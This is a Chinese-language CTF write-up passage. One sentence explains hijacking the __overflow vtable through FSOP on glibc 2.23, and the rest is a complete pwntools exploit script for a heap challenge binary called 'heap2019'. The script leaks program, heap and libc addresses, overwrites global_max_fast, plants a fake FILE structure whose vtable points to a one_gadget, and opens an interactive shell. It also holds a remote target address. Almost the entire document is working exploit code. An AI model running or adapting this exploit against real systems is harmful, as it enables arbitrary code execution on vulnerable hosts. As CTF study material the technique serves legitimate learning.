  • 可见第4片区域就是 __overflow 的虚表,我们可以劫持该虚表为“one_gadget”或者其他需要的函数

调用链为:malloc_printerr -> _IO_flush_all_lockp -> _IO_overflow(system)

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './heap2019'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.23.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('172.31.0.116','9999')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0xACC)\n")
pause()

def cmd(op):
p.sendlineafter("4.exit",str(op))

def add(size,content):
cmd(1)
p.sendlineafter("Content length:",str(size))
p.sendafter("Content:",content)

def edit(content):
cmd(2)
p.sendafter("Comment:",content)

def dele(id):
cmd(3)
p.sendlineafter("Content id:",str(id))

def show():
cmd(2019)

add(0x400,"a"*0x20)
show()

p.recvuntil("0x")
leak_addr = eval("0x"+p.recv(12))
pro_base = leak_addr - 0x202040
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

add(0x400,"a"*0x20)
add(0x400,"a"*0x20)
add(0x400,"a"*0x20)
add(0x400,"a"*0x20)

bss_start = pro_base + 0x202020
chunk_list = pro_base + 0x202040
#edit("a"*0x20 + p64(bss_start))
success("chunk_list >> "+hex(chunk_list))

dele(1)
dele(3)

add(0x400,"p"*8)
p.recvuntil("pppppppp")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0xc30
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(heap_base))

add(0x400,"k"*8)
p.recvuntil("kkkkkkkk")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x3c4b78
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

global_max_fast = libc_base + 0x3c67f8
system_libc = libc_base + libc.sym["system"]
IO_list_all = libc_base + libc.sym["_IO_list_all"]
success("global_max_fast >> "+hex(global_max_fast))
success("system_libc >> "+hex(system_libc))
success("IO_list_all >> "+hex(IO_list_all))

one_gadgets = [0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget = one_gadgets[3] + libc_base

dele(2)
dele(3)

fake_fsop_addr = heap_base + 0x1450
fake_vtable = fake_fsop_addr + 0xd8

fsop = "/bin/sh\x00"
fsop += p64(0)*2 + p64(1)
fsop = fsop.ljust(0xc8, b'\x00')
fsop += p64(fake_vtable)
fsop += p64(0)*2 + p64(one_gadget)
add(0x1400, fsop)

edit("b"*0x20+p64(global_max_fast))
dele(2)

#debug()

cmd(1)
p.sendlineafter("Content length:",str(0x100))

p.interactive()